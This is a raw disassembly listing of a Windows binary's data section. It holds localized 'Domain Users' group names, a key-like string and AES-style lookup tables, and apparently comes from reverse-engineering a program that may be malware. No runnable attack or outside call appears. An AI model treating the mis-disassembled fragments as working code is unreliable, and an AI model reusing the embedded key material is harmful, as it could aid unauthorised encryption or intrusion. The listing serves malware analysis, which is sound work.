		dd 4B000000h, 69006500h, 6E00h,	6F004400h, 0E4006D00h
		dd 65006E00h, 2D006E00h, 65004200h, 75006E00h, 7A007400h
		dd 72006500h, 53000000h, 6E006500h, 69006B00h, 54000000h
		dd 72006100h, 6F007400h, 0E1006D00h, 79006E00h,	65006600h
		dd 68006C00h, 73006100h, 6E007A00h, 6C00E100h, 6B00F300h
		dd 4E000000h, 73006500h, 75007300h, 6F006E00h, 6A000000h
		dd 305730h, 4CC5C600h, 420000C7h, 61007200h, 6B00h, 7C005500h
		dd 74007901h, 6F006B00h, 6E007700h, 63006900h, 20007900h
		dd 6F006400h, 65006D00h, 79006E00h, 4E000000h, 6E006500h
		dd 75006800h, 6D00h, 73005500h,	0E1007500h
		db 0, 72h
word_41A13A	dw 6900h		; DATA XREF: rdata:0040F76Ao
		dd 73006F00h, 64002000h, 20006F00h, 6F006400h, 0ED006D00h
		dd 69006E00h, 6F00h, 74005500h,	6C006900h, 7A006900h, 64006100h
		dd 72006F00h, 73006500h, 64002000h, 20006F00h, 6F006400h
		dd 0ED006D00h, 69006E00h, 6F00h, 42041E00h, 43044104h
		dd 41044204h
		db 4
byte_41A195	db 42h,	4, 32h		; DATA XREF: rdata:loc_40F734o
					; sub_40FC26+2Bo ...
		dd 35044304h, 44204h, 3E041F00h, 4C043B04h, 3E043704h
		dd 30043204h, 35044204h, 38043B04h, 34002004h, 3C043E04h
		dd 3D043504h, 43004h, 69004E00h, 67006E00h
		dd 6E007500h, 6F00h, 73005500h,	61007500h, 69007200h, 73006F00h
					; DATA XREF: .data:off_41BC38o
		dd 64002000h, 6C006500h, 64002000h, 6D006F00h, 6E006900h
		dd 6F006900h, 49000000h, 67006E00h, 6E006500h, 44000000h
		dd 6D006F00h, 6E00E400h, 6E006100h, 0E4007600h,	64006E00h
		dd 72006100h, 6500h, 6F005900h,	6B00h, 90004100h, 0B70012F6h
		dd 0A80048B3h, 0EC004C30h, 80012EDh, 0F3000000h, 0FD004185h
		dd 17004185h, 21004186h, 43004186h, 4F004186h, 73004186h
		dd 7D004186h, 9F004186h, 0AB004186h, 0D7004186h, 0E7004186h
		dd 0ED004186h, 0F3004186h, 0FD004186h, 23004186h, 31004187h
		dd 59004187h, 89004187h, 0A1004187h, 0C9004187h, 0D9004187h
		dd 3004187h, 0F004188h,	2D004188h, 35004188h, 4188h, 3 dup(0)
dword_41A2C0	dd 0							; sub_40FC26+1Ar ...
dword_41A2C4	dd 0		dword_41A2C8	dd 20h dup(0)	dword_41A348	dd 2 dup(0)	dword_41A350	dd 9 dup(0)	dword_41A374	dd 0Ch dup(0)	dword_41A3A4	dd 4 dup(0)	dword_41A3B4	dd 0Bh dup(0)						; .data:0041BBDCo
dword_41A3E0	dd 4 dup(0)	dword_41A3F0	dd 2 dup(0)			dd 57713830h, 6B2B626Ah
		dd 6B785267h, 50337455h, 4B794F65h, 76465771h ;	DATA XREF: .data:off_41BC14o
aSw0cp8xucxxq6y	db 'sW0cp8XUcxxq6y43hcs+PRiHSQX+slLM9J4f7-BmzTyAa0iKRhYeNP5aZDaZhBL2',0
					; DATA XREF: rdata:0040FB4Co
		align 10h
aA		db '€',0                ; DATA XREF: sub_4100B1+C8o
					; sub_4100B1+DCo ...
		align 8
dword_41A468	dd 4 dup(0)						; sub_4100B1+1ACo
dword_41A478	dd 4 dup(0)						; sub_4100B1+176o ...
dword_41A488	dd 2 dup(0)						; sub_4100B1+2C1o ...
dword_41A490	dd 0							; sub_4100B1+2F2o ...
		db 2 dup(0)
word_41A496	dw 0			; DATA XREF: sub_4100B1+1C5o
					; sub_4100B1+1DBo
		align 10h
dword_41A4A0	dd 3 dup(0)						; sub_4100B1+234o
		db 0
byte_41A4AD	db 3 dup(0)		; DATA XREF: sub_4100B1+1F1o
					; sub_4100B1+211o
		dd 0
		db 3 dup(0)
byte_41A4B7	db 0			; DATA XREF: sub_4100B1+29Ao
					; sub_4103F0+25Bo
		dd 2 dup(0)
		db 3 dup(0)
byte_41A4C3	db 0			; DATA XREF: sub_4100B1+143o
					; sub_4103F0:loc_410543o
		dd 7 dup(0)
dword_41A4E0	dd 1Ch dup(0)	dword_41A550	dd 0				align 10h
dword_41A560	dd 1Ch dup(0)			dd 0E8B367A9h, 76A3FD04h, 7880929Ah, 38D1DDE4h,	9835C60Dh
		dd 6CECF718h, 26377543h, 489413FAh, 308BD0F2h, 23DF5484h
		dd 593D5B19h, 82A2AEF3h, 2E830163h, 7C9B51D9h, 0BEA5EBA6h
		dd 61E30C16h, 0F53A8CC0h, 0B252C73h, 6B894EBBh,	0F1B46A53h
		dd 45BDE6E1h, 66B6F4E2h, 560395CCh, 0D71E1CD4h,	0B58EC3FBh
		dd 0BABFCFE9h, 0AF3977EAh, 7162C933h
dword_41A640	dd 0AD097981h, 0D8F9CD24h, 4DB9C5E5h, 0E7860844h, 0EDAA1DA1h
					; DATA XREF: sub_410C60+1Do
		dd 0D2B27006h, 11A07B41h, 9027C231h, 0FF60F620h, 0ABB15C96h
		dd 1B529C9Eh, 0EF0A935Fh, 0EE498591h, 3B8F4F2Dh, 466D8747h
		db 0D6h, 3Eh, 69h
byte_41A67F	db 64h			; DATA XREF: sub_410CF0+1Co
; ---------------------------------------------------------------------------
		sub	cl, dh
		retf
; ---------------------------------------------------------------------------
		db 2Fh
		dd 7A0597FCh, 1AD57FACh
		db 4Bh,	0Eh, 0A7h
dword_41A68F	dd 3F14285Ah						; sub_410C60+17r
byte_41A693	db 29h			; DATA XREF: sub_410B20+90o
		dd 24C3C88h, 17B0DAB8h,	7D8A1F55h, 748DC757h, 729FC4B7h
		dd 1222157Eh, 34990758h, 68DE506Eh, 0F8DBBC65h,	402BA8C8h
		dd 0A432FEDCh, 0F02110CAh, 0F5DD3h, 42369D6Fh, 0E0C15E4Ah
		dd 0F4C6F375h, 0C8FB7BDBh, 6BE6D34Ah, 4BE87D45h, 0FDD832D6h
		dd 0E1F17137h, 1BF80F30h, 3F06FA87h, 5BAEBA5Eh,	9DBC008Ah
		dd 0EB1C16Dh, 0D5D25D80h, 140784A0h, 0A32C90B5h, 544C73B2h
		dd 51367492h, 5ABDB038h, 966260FCh, 10F7426Ch, 8C27287Ch
		dd 0C79C9513h, 703B4624h, 0CB85E3CAh, 0B893D011h, 0FF2083A6h
		dd 0CCC3779Fh, 0BF086F03h, 0E22BE740h, 82AA0C79h, 0B9EA3A41h
		dd 97A49AE4h, 177ADA7Eh, 1DA19466h, 0B3DEF03Dh,	1CA7720Bh
		dd 3E53D1EFh, 5F26338Fh, 492A76ECh, 21EE8881h, 0D9EB1AC4h
		dd 0CD9939C5h, 18B31ADh, 1FDD2318h, 48F92D4Eh, 8E65F24Fh
		dd 19585C78h, 5798E58Dh, 64057F67h, 0FEB663AFh,	0A53CB7F5h
dword_41A798	dd 4468E9CEh, 69434DE0h, 15AC2E29h, 9E0AA859h, 34DF476Eh
					; DATA XREF: sub_410B20+A5o
		dd 0DCCF6A35h, 9BC0C922h, 0ABEDD489h, 520DA212h, 0A92F02BBh
		dd 0B41E61D7h, 0C2F60450h, 56862516h, 91BE0955h, 0
		dd 0BCBC3275h, 0ECEC21F3h, 202043C6h, 0B3B3C9F4h, 0DADA03DBh
		dd 2028B7Bh, 0E2E22BFBh, 9E9EFAC8h, 0C9C9EC4Ah,	0D4D409D3h
		dd 18186BE6h, 1E1E9F6Bh, 98980E45h, 0B2B2387Dh,	0A6A6D2E8h
		dd 2626B74Bh, 3C3C57D6h, 93938A32h, 8282EED8h, 525298FDh
		dd 7B7BD437h, 0BBBB3771h, 5B5B97F1h
dword_41A830	dd 474783E1h, 24243C30h, 5151E20Fh, 0BABAC6F8h,	4A4AF31Bh
					; DATA XREF: sub_4114E0+121o
		dd 0BFBF4887h, 0D0D70FAh, 0B0B0B306h, 7575DE3Fh, 0D2D2FD5Eh
		dd 7D7D20BAh, 666631AEh, 3A3AA35Bh, 59591C8Ah, 0
		dd 0CDCD93BCh, 1A1AE09Dh, 0AEAE2C6Dh, 7F7FABC1h, 2B2BC7B1h
dword_41A880	dd 0BEBEB90Eh, 0E0E0A080h, 8A8A105Dh, 3B3B52D2h, 6464BAD5h
					; DATA XREF: sub_411980+F1o
		dd 0D8D888A0h, 0E7E7A584h, 5F5FE807h, 1B1B1114h
dword_41A8A4	dd 2C2CC2B5h	byte_41A8A8	db 90h			; DATA XREF: sub_411800+97o
		db 0B4h, 2 dup(0FCh)
		dd 3131272Ch, 808065A3h, 73732AB2h, 0C0C8173h, 79795F4Ch
		dd 6B6B4154h, 4B4B0292h, 53536974h, 94948F36h, 83831F51h
		dd 2A2A3638h, 0C4C49CB0h, 2222C8BDh, 0D5D5F85Ah, 0BDBDC3FCh
		dd 48487860h, 0FFFFCE62h, 4C4C0796h, 4141776Ch,	0C7C7E642h
		dd 0EBEB24F7h, 1C1C1410h, 5D5D637Ch, 36362228h,	6767C027h
		dd 0E9E9AF8Ch, 4444F913h, 1414EA95h, 0F5F5BB9Ch, 0CFCF18C7h
		dd 3F3F2D24h, 0C0C0E346h, 7272DB3Bh, 54546C70h,	29294CCAh
		dd 0F0F035E3h, 808FE85h, 0C6C617CBh
dword_41A944	dd 0F3F34F11h, 8C8CE4D0hdword_41A94C	dd 0A4A45993h, 0CACA96B8h, 68683BA6h					; rdata:00411D2Co ...
dword_41A958	dd 0B8B84D83h						; sub_412700+27r ...
; ---------------------------------------------------------------------------


loc_41A95C:				; DATA XREF: sub_4111E0+B8o
					; sub_411340+BFo
		and	[eax], ch
		cmp	[eax], bh
		jmp	fword ptr [esi]
; ---------------------------------------------------------------------------
		db 0E5h
byte_41A963	db 0E5h			; DATA XREF: sub_4111E0+112o
		dd 0ADAD569Fh, 0B0B8477h, 0C8C81DC3h, 9999FFCCh, 5858ED03h
		dd 19199A6Fh, 0E0E0A08h
dword_41A980	dd 95957EBFh, 70705040h, 0F7F730E7h, 6E6ECF2Bh,	1F1F6EE2h
					; DATA XREF: sub_412C30+Bo
		dd 0B5B53D79h, 9090F0Ch, 616134AAh, 57571682h, 9F9F0B41h
		dd 9D9D803Ah, 111164EAh, 2525CDB9h, 0AFAFDDE4h
dword_41A9B8	dd 4545089Ah, 0DFDF8DA4h, 0A3A35C97h, 0EAEAD57Eh, 353558DAh
					; DATA XREF: sub_412C30+B6o
		dd 0EDEDD07Ah, 4343FC17h, 0F8F8CB66h, 0FBFBB194h, 3737D3A1h
		dd 0FAFA401Dh, 0C2C2683Dh
dword_41A9E8	dd 0B4B4CCF0h, 32325DDEh, 9C9C71B3h, 5656E70Bh,	0E3E3DA72h
					; DATA XREF: sub_412C30+EBo
		dd 878760A7h, 15151B1Ch, 0F9F93AEFh, 6363BFD1h,	3434A953h
		dd 9A9A853Eh, 0B1B1428Fh, 7C7CD133h, 88889B26h,	3D3DA65Fh
		dd 0A1A1D7ECh
dword_41AA28	dd 0E4E4DF76h, 8181942Ah, 91910149h, 0F0FFB81h,	0EEEEAA88h
					; DATA XREF: sub_412C30+13Fo
		dd 161661EEh, 0D7D77321h, 9797F5C4h, 0A5A5A81Ah, 0FEFE3FEBh
		dd 6D6DB5D9h, 7878AEC5h
dword_41AA58	dd 0C5C56D39h, 1D1DE599h, 7676A4CDh, 3E3EDCADh,	0CBCB6731h
					; DATA XREF: sub_412C30+2EDo
		dd 0B6B6478Bh, 0EFEF5B01h, 12121E18h
dword_41AA78	dd 6060C523h, 6A6AB0DDh, 4D4DF61Fh, 0CECEE94Eh,	0DEDE7C2Dh
					; DATA XREF: sub_412C30+39Bo
		dd 55559DF9h, 7E7E5A48h, 2121B24Fh, 3037AF2h, 0A0A02665h
		dd 5E5E198Eh, 5A5A6678h, 65654B5Ch, 62624E58h, 0FDFD4519h
		dd 606F48Dh
byte_41AAB8	db 0E5h			; DATA XREF: sub_412C30+66r
					; sub_412C30+80r
		db 86h,	2 dup(40h)
		dd 0F2F2BE98h, 3333AC57h, 17179067h
dword_41AAC8	dd 5058E7Fh, 0E8E85E05h, 4F4F7D64h, 89896AAFh, 10109563h
					; DATA XREF: sub_412C30+269o
		dd 74742FB6h, 0A0A75FEh, 5C5C92F5h, 9B9B74B7h, 2D2D333Ch
		dd 3030D6A5h, 2E2E49CEh, 494989E9h, 46467268h, 77775544h
		dd 0A8A8D8E0h, 9696044Dh, 2828BD43h, 0A9A92969h, 0D9D97929h
		dd 8686912Eh, 0D1D187ACh, 0F4F44A15h, 8D8D1559h, 0D6D682A8h
		dd 0B9B9BC0Ah, 42420D9Eh, 0F6F6C16Eh, 2F2FB847h, 0DDDD06DFh
		dd 23233934h, 0CCCC6235h, 0F1F1C46Ah, 0C1C112CFh, 8585EBDCh
		dd 8F8F9E22h, 7171A1C9h, 9090F0C0h, 0AAAA539Bh,	101F189h
		dd 8B8BE1D4h, 4E4E8CEDh, 8E8E6FABh, 0ABABA212h,	6F6F3EA2h
		dd 0E6E6540Dh, 0DBDBF252h, 92927BBBh, 0B7B7B602h, 6969CA2Fh
		dd 3939D9A9h, 0D3D30CD7h, 0A7A72361h, 0A2A2AD1Eh, 0C3C399B4h
		dd 6C6C4450h, 7070504h,	4047FF6h, 272746C2h, 0ACACA716h
		dd 0D0D07625h, 50501386h, 0DCDCF756h, 84841A55h, 0E1E15109h
		dd 7A7A25BEh, 1313EF91h, 0A9D93939h, 67901717h,	0B3719C9Ch
		dd 0E8D2A6A6h, 4050707h, 0FD985252h, 0A3658080h, 76DFE4E4h
		dd 9A084545h, 92024B4Bh, 80A0E0E0h, 78665A5Ah, 0E4DDAFAFh
		dd 0DDB06A6Ah, 0D1BF6363h, 38362A2Ah, 0D54E6E6h, 0C6432020h
		dd 3562CCCCh, 98BEF2F2h, 181E1212h, 0F724EBEBh,	0ECD7A1A1h
		dd 6C774141h, 43BD2828h, 7532BCBCh, 37D47B7Bh, 269B8888h
		dd 0FA700D0Dh, 13F94444h, 94B1FBFBh, 485A7E7Eh,	0F27A0303h
		dd 0D0E48C8Ch, 8B47B6B6h, 303C2424h, 84A5E7E7h,	54416B6Bh
		dd 0DF06DDDDh, 23C56060h, 1945FDFDh, 5BA33A3Ah,	3D68C2C2h
		dd 59158D8Dh, 0F321ECECh, 0AE316666h, 0A23E6F6Fh, 82165757h
		dd 63951010h, 15BEFEFh,	834DB8B8h, 2E918686h, 0D9B56D6Dh
		dd 511F8383h, 9B53AAAAh, 7C635D5Dh, 0A63B6868h,	0EB3FFEFEh
		dd 0A5D63030h, 0BE257A7Ah, 16A7ACACh
dword_41ACC8	dd 0C0F0909h	dword_41ACCC	dd 0E335F0F0h			dd 6123A7A7h, 0C0F09090h
dword_41ACD8	dd 8CAFE9E9h						; sub_4132D8+164r ...
dword_41ACDC	dd 3A809D9Dh						; sub_4132D8+175r ...
dword_41ACE0	dd 0F5925C5Ch						; sub_4132D8+18Ar ...
dword_41ACE4	dd 73810C0Ch						; sub_4132D8+19Fr ...
		dd 2C273131h, 2576D0D0h, 0BE75656h, 0BB7B9292h,	4EE9CECEh
		dd 89F10101h, 6B9F1E1Eh, 53A93434h, 6AC4F1F1h, 0B499C3C3h
		dd 0F1975B5Bh, 0E1834747h, 0E66B1818h, 0BDC82222h, 450E9898h
		dd 0E26E1F1Fh, 0F4C9B3B3h, 0B62F7474h, 66CBF8F8h, 0CCFF9999h
		dd 95EA1414h, 3ED5858h,	56F7DCDCh, 0D4E18B8Bh, 1C1B1515h
		dd 1EADA2A2h, 0D70CD3D3h, 0FB2BE2E2h, 0C31DC8C8h, 8E195E5Eh
		dd 0B5C22C2Ch, 0E9894949h, 0CF12C1C1h, 0BF7E9595h, 0BA207D7Dh
		dd 0EA641111h, 77840B0Bh, 396DC5C5h, 0AF6A8989h, 33D17C7Ch
		dd 0C9A17171h, 62CEFFFFh, 7137BBBBh, 81FB0F0Fh,	793DB5B5h
		dd 951E1E1h, 0ADDC3E3Eh, 242D3F3Fh, 0CDA47676h,	0F99D5555h
		dd 0D8EE8282h, 0E5864040h, 0C5AE7878h, 0B9CD2525h, 4D049696h
		dd 44557777h, 80A0E0Eh,	86135050h, 0E730F7F7h, 0A1D33737h
		dd 1D40FAFAh, 0AA346161h, 0ED8C4E4Eh, 6B3B0B0h,	706C5454h
		dd 0B22A7373h, 0D2523B3Bh, 410B9F9Fh, 7B8B0202h, 0A088D8D8h
		dd 114FF3F3h, 3167CBCBh, 0C2462727h, 27C06767h,	90B4FCFCh
		dd 20283838h, 0F67F0404h, 60784848h, 0FF2EE5E5h, 96074C4Ch
		dd 5C4B6565h, 0B1C72B2Bh, 0AB6F8E8Eh, 9E0D4242h, 9CBBF5F5h
		dd 52F2DBDBh, 1BF34A4Ah, 5FA63D3Dh, 9359A4A4h, 0ABCB9B9h
		dd 0EF3AF9F9h, 91EF1313h, 85FE0808h, 49019191h,	0EE611616h
		dd 2D7CDEDEh, 4FB22121h, 8F42B1B1h, 3BDB7272h, 47B82F2Fh
		dd 8748BFBFh
		db 2 dup(0AEh)
word_41AE7E	dw 6D2Ch		; DATA XREF: sub_408DC0+13o
					; sub_408DC0+38o
		dd 46E3C0C0h, 0D6573C3Ch, 3E859A9Ah, 6929A9A9h,	647D4F4Fh
; ---------------------------------------------------------------------------


loc_41AE94:				; DATA XREF: sub_408440+Co
					; sub_408440+34o
		add	dword ptr [ecx+2E2E2A94h], 0C6C6CE49h
		pop	ss
		retf
; ---------------------------------------------------------------------------
		dd 2FCA6969h, 0FCC3BDBDh, 975CA3A3h, 55EE8E8h, 7AD0EDEDh
		dd 0AC87D1D1h, 7F8E0505h, 0D5BA6464h, 1AA8A5A5h, 4BB72626h
		dd 0EB9BEBEh, 0A7608787h, 5AF8D5D5h, 28223636h,	14111B1Bh
		dd 3FDE7575h, 2979D9D9h, 88AAEEEEh, 3C332D2Dh, 4C5F7979h
		dd 2B6B7B7h, 0B896CACAh, 0DA583535h, 0B09CC4C4h, 17FC4343h
		dd 551A8484h, 1FF64D4Dh, 8A1C5959h, 7D38B2B2h, 57AC3333h
		dd 0C718CFCFh, 8DF40606h, 74695353h, 0B7749B9Bh, 0C4F59797h
		dd 9F56ADADh, 72DAE3E3h, 7ED5EAEAh, 154AF4F4h, 229E8F8Fh
		dd 12A2ABABh, 584E6262h, 7E85F5Fh, 99E51D1Dh, 34392323h
		dd 6EC1F6F6h, 50446C6Ch, 0DE5D3232h, 68724646h,	6526A0A0h
		dd 0BC93CDCDh, 0DB03DADAh, 0F8C6BABAh, 0C8FA9E9Eh, 0A882D6D6h
		dd 2BCF6E6Eh, 40507070h, 0DCEB8585h, 0FE750A0Ah, 328A9393h
		dd 0A48DDFDFh, 0CA4C2929h, 10141C1Ch, 2173D7D7h, 0F0CCB4B4h
		dd 0D309D4D4h, 5D108A8Ah, 0FE25151h, 0
		dd 6F9A1919h, 9DE01A1Ah, 368F9494h, 42E6C7C7h, 4AECC9C9h
		dd 5EFDD2D2h, 0C1AB7F7Fh, 0E0D8A8A8h, 0BC75BC32h, 0ECF3EC21h
		dd 20C62043h, 0B3F4B3C9h, 0DADBDA03h, 27B028Bh,	0E2FBE22Bh
		dd 9EC89EFAh, 0C94AC9ECh, 0D4D3D409h, 18E6186Bh, 1E6B1E9Fh
		dd 9845980Eh, 0B27DB238h, 0A6E8A6D2h, 264B26B7h, 3CD63C57h
		dd 9332938Ah, 82D882EEh, 52FD5298h, 7B377BD4h, 0BB71BB37h
		dd 5BF15B97h, 47E14783h, 2430243Ch, 510F51E2h, 0BAF8BAC6h
		dd 4A1B4AF3h, 0BF87BF48h, 0DFA0D70h, 0B006B0B3h, 753F75DEh
		dd 0D25ED2FDh, 7DBA7D20h, 66AE6631h, 3A5B3AA3h,	598A591Ch
		dd 0
		dd 0CDBCCD93h, 1A9D1AE0h, 0AE6DAE2Ch, 7FC17FABh, 2BB12BC7h
		dd 0BE0EBEB9h, 0E080E0A0h, 8A5D8A10h, 3BD23B52h, 64D564BAh
		dd 0D8A0D888h, 0E784E7A5h, 5F075FE8h, 1B141B11h, 2CB52CC2h
		dd 0FC90FCB4h, 312C3127h, 80A38065h, 73B2732Ah,	0C730C81h
		dd 794C795Fh, 6B546B41h, 4B924B02h, 53745369h, 9436948Fh
		dd 8351831Fh, 2A382A36h, 0C4B0C49Ch, 22BD22C8h,	0D55AD5F8h
		dd 0BDFCBDC3h, 48604878h, 0FF62FFCEh, 4C964C07h, 416C4177h
		dd 0C742C7E6h, 0EBF7EB24h, 1C101C14h, 5D7C5D63h
		db 22h,	36h
word_41B10A	dw 3628h		; DATA XREF: sub_408440+2E1o
					; sub_408440:loc_40875Do ...
		dd 672767C0h, 0E98CE9AFh, 441344F9h, 149514EAh,	0F59CF5BBh
		dd 0CFC7CF18h, 3F243F2Dh, 0C046C0E3h, 723B72DBh, 5470546Ch
		dd 29CA294Ch, 0F0E3F035h, 88508FEh, 0C6CBC617h,	0F311F34Fh
		dd 8CD08CE4h, 0A493A459h, 0CAB8CA96h, 68A6683Bh, 0B883B84Dh
		dd 38203828h, 0E5FFE52Eh, 0AD9FAD56h, 0B770B84h, 0C8C3C81Dh
		dd 99CC99FFh, 580358EDh, 196F199Ah, 0E080E0Ah, 95BF957Eh
		dd 70407050h, 0F7E7F730h, 6E2B6ECFh, 1FE21F6Eh,	0B579B53Dh
		dd 90C090Fh, 61AA6134h,	57825716h, 9F419F0Bh, 9D3A9D80h
		dd 11EA1164h, 25B925CDh, 0AFE4AFDDh, 459A4508h,	0DFA4DF8Dh
		dd 0A397A35Ch, 0EA7EEAD5h, 35DA3558h, 0ED7AEDD0h, 431743FCh
		dd 0F866F8CBh, 0FB94FBB1h, 37A137D3h, 0FA1DFA40h, 0C23DC268h
		dd 0B4F0B4CCh, 32DE325Dh, 9CB39C71h, 560B56E7h,	0E372E3DAh
		dd 87A78760h, 151C151Bh, 0F9EFF93Ah, 63D163BFh,	345334A9h
		dd 9A3E9A85h, 0B18FB142h, 7C337CD1h, 8826889Bh,	3D5F3DA6h
		dd 0A1ECA1D7h, 0E476E4DFh, 812A8194h, 91499101h, 0F810FFBh
		dd 0EE88EEAAh, 16EE1661h, 0D721D773h, 97C497F5h, 0A51AA5A8h
		dd 0FEEBFE3Fh, 6DD96DB5h, 78C578AEh, 0C539C56Dh, 1D991DE5h
		dd 76CD76A4h, 3EAD3EDCh, 0CB31CB67h, 0B68BB647h, 0EF01EF5Bh
		dd 1218121Eh, 602360C5h, 6ADD6AB0h, 4D1F4DF6h, 0CE4ECEE9h
		dd 0DE2DDE7Ch, 55F9559Dh, 7E487E5Ah, 214F21B2h,	3F2037Ah
		dd 0A065A026h, 5E8E5E19h, 5A785A66h, 655C654Bh,	6258624Eh
		dd 0FD19FD45h, 68D06F4h, 40E54086h, 0F298F2BEh,	335733ACh
		dd 17671790h, 57F058Eh,	0E805E85Eh, 4F644F7Dh, 89AF896Ah
		dd 10631095h, 74B6742Fh, 0AFE0A75h, 5CF55C92h, 9BB79B74h
		dd 2D3C2D33h, 30A530D6h, 2ECE2E49h, 49E94989h, 46684672h
		dd 77447755h, 0A8E0A8D8h, 964D9604h, 284328BDh,	0A969A929h
		dd 0D929D979h, 862E8691h, 0D1ACD187h, 0F415F44Ah, 8D598D15h
		dd 0D6A8D682h, 0B90AB9BCh, 429E420Dh, 0F66EF6C1h, 2F472FB8h
		dd 0DDDFDD06h, 23342339h, 0CC35CC62h, 0F16AF1C4h, 0C1CFC112h
		dd 85DC85EBh, 8F228F9Eh, 71C971A1h, 90C090F0h
		db 53h,	0AAh
word_41B362	dw 0AA9Bh		; DATA XREF: rdata:0040463Co
					; rdata:0040465Do
		dd 18901F1h, 8BD48BE1h,	4EED4E8Ch, 8EAB8E6Fh, 0AB12ABA2h
		db 3Eh,	6Fh
dword_41B37A	dd 0E6546FA2h						; rdata:00405388r
		dw 0E60Dh
		dd 0DB52DBF2h, 92BB927Bh, 0B702B7B6h, 692F69CAh, 39A939D9h
		dd 0D3D7D30Ch, 0A761A723h, 0A21EA2ADh, 0C3B4C399h, 6C506C44h
		dd 7040705h, 4F6047Fh, 27C22746h, 0AC16ACA7h, 0D025D076h
		dd 50865013h, 0DC56DCF7h, 8455841Ah, 0E109E151h, 7ABE7A25h
		dd 139113EFh, 0D939A9D9h, 90176790h, 719CB371h,	0D2A6E8D2h
		dd 5070405h, 9852FD98h,	6580A365h, 0DFE476DFh, 8459A08h
		dd 24B9202h, 0A0E080A0h, 665A7866h, 0DDAFE4DDh,	0B06ADDB0h
		dd 0BF63D1BFh, 362A3836h, 54E60D54h, 4320C643h,	62CC3562h
		dd 0BEF298BEh, 1E12181Eh, 24EBF724h, 0D7A1ECD7h, 77416C77h
		dd 0BD2843BDh, 32BC7532h, 0D47B37D4h, 9B88269Bh, 700DFA70h
		dd 0F94413F9h, 0B1FB94B1h, 5A7E485Ah, 7A03F27Ah, 0E48CD0E4h
		dd 47B68B47h, 3C24303Ch, 0A5E784A5h, 416B5441h,	6DDDF06h
		dd 0C56023C5h, 45FD1945h, 0A33A5BA3h, 68C23D68h, 158D5915h
		dd 21ECF321h, 3166AE31h, 3E6FA23Eh, 16578216h, 95106395h
		dd 5BEF015Bh, 4DB8834Dh, 91862E91h, 0B56DD9B5h,	1F83511Fh
		dd 53AA9B53h, 635D7C63h, 3B68A63Bh, 3FFEEB3Fh, 0D630A5D6h
		dd 257ABE25h, 0A7AC16A7h, 0F090C0Fh, 35F0E335h,	23A76123h
		dd 0F090C0F0h, 0AFE98CAFh, 809D3A80h, 925CF592h, 810C7381h
		dd 27312C27h, 76D02576h, 0E7560BE7h, 7B92BB7Bh,	0E9CE4EE9h
		dd 0F10189F1h, 9F1E6B9Fh, 0A93453A9h, 0C4F16AC4h, 99C3B499h
		dd 975BF197h, 8347E183h, 6B18E66Bh, 0C822BDC8h,	0E98450Eh
		dd 6E1FE26Eh, 0C9B3F4C9h, 2F74B62Fh, 0CBF866CBh, 0FF99CCFFh
		dd 0EA1495EAh, 0ED5803EDh, 0F7DC56F7h, 0E18BD4E1h, 1B151C1Bh
		dd 0ADA21EADh, 0CD3D70Ch, 2BE2FB2Bh, 1DC8C31Dh,	195E8E19h
		dd 0C22CB5C2h, 8949E989h, 12C1CF12h, 7E95BF7Eh,	207DBA20h
		dd 6411EA64h, 840B7784h, 6DC5396Dh, 6A89AF6Ah, 0D17C33D1h
		dd 0A171C9A1h, 0CEFF62CEh, 37BB7137h, 0FB0F81FBh, 3DB5793Dh
		dd 51E10951h, 0DC3EADDCh, 2D3F242Dh, 0A476CDA4h, 9D55F99Dh
		dd 0EE82D8EEh, 8640E586h, 0AE78C5AEh, 0CD25B9CDh, 4964D04h
		dd 55774455h, 0A0E080Ah, 13508613h, 30F7E730h, 0D337A1D3h
		dd 40FA1D40h, 3461AA34h, 8C4EED8Ch, 0B3B006B3h,	6C54706Ch
		dd 2A73B22Ah, 523BD252h, 0B9F410Bh, 8B027B8Bh, 88D8A088h
		dd 4FF3114Fh, 67CB3167h, 4627C246h, 0C06727C0h,	0B4FC90B4h
		dd 28382028h, 7F04F67Fh, 78486078h, 2EE5FF2Eh, 74C9607h
		dd 4B655C4Bh, 0C72BB1C7h, 6F8EAB6Fh, 0D429E0Dh,	0BBF59CBBh
		dd 0F2DB52F2h, 0F34A1BF3h, 0A63D5FA6h, 59A49359h, 0BCB90ABCh
		dd 3AF9EF3Ah, 0EF1391EFh, 0FE0885FEh, 1914901h,	6116EE61h
		dd 7CDE2D7Ch, 0B2214FB2h, 42B18F42h, 0DB723BDBh, 0B82F47B8h
		dd 48BF8748h, 2CAE6D2Ch, 0E3C046E3h, 573CD657h,	859A3E85h
		dd 29A96929h, 7D4F647Dh, 94812A94h, 492ECE49h, 17C6CB17h
		dd 0CA692FCAh, 0C3BDFCC3h, 5CA3975Ch, 5EE8055Eh, 0D0ED7AD0h
		dd 87D1AC87h, 8E057F8Eh, 0BA64D5BAh, 0A8A51AA8h, 0B7264BB7h
		dd 0B9BE0EB9h, 6087A760h, 0F8D55AF8h, 22362822h, 111B1411h
		dd 0DE753FDEh, 79D92979h, 0AAEE88AAh, 332D3C33h, 5F794C5Fh
		dd 0B6B702B6h, 96CAB896h, 5835DA58h, 9CC4B09Ch,	0FC4317FCh
		dd 1A84551Ah, 0F64D1FF6h, 1C598A1Ch, 38B27D38h,	0AC3357ACh
		dd 18CFC718h, 0F4068DF4h, 69537469h, 749BB774h,	0F597C4F5h
		dd 56AD9F56h, 0DAE372DAh, 0D5EA7ED5h, 4AF4154Ah, 9E8F229Eh
		dd 0A2AB12A2h, 4E62584Eh, 0E85F07E8h, 0E51D99E5h, 39233439h
		dd 0C1F66EC1h, 446C5044h, 5D32DE5Dh, 72466872h,	26A06526h
		dd 93CDBC93h, 3DADB03h,	0C6BAF8C6h, 0FA9EC8FAh,	82D6A882h
		dd 0CF6E2BCFh
		db 50h,	40h
dword_41B782	dd 0DCEB5070h						; sub_403D20+43r ...
word_41B786	dw 0EB85h		; DATA XREF: sub_403D20+2Ao
; ---------------------------------------------------------------------------


loc_41B788:				; CODE XREF: .data:loc_41B788j
		jnz	short loc_41B788
; ---------------------------------------------------------------------------
dword_41B78A	dd 328A750Ah			dw 8A93h
		dd 8DDFA48Dh
		db 4Ch,	0CAh
dword_41B796	dd 10144C29h	dword_41B79A	dd 2173141Ch						; rdata:00403CFCr ...
dword_41B79E	dd 0F0CC73D7h						; sub_403D90+43r ...
dword_41B7A2	dd 0D309CCB4h						; sub_403D90+2Cr ...
		dw 9D4h
		db 10h,	5Dh
word_41B7AA	dw 108Ah		; DATA XREF: sub_409C10+31o
					; sub_409C10+DDo ...
		dd 0E2510FE2h, 0
		dd 9A196F9Ah, 0E01A9DE0h, 8F94368Fh, 0E6C742E6h, 0ECC94AECh
		dd 0FDD25EFDh, 0AB7FC1ABh, 0D8A8E0D8h, 0
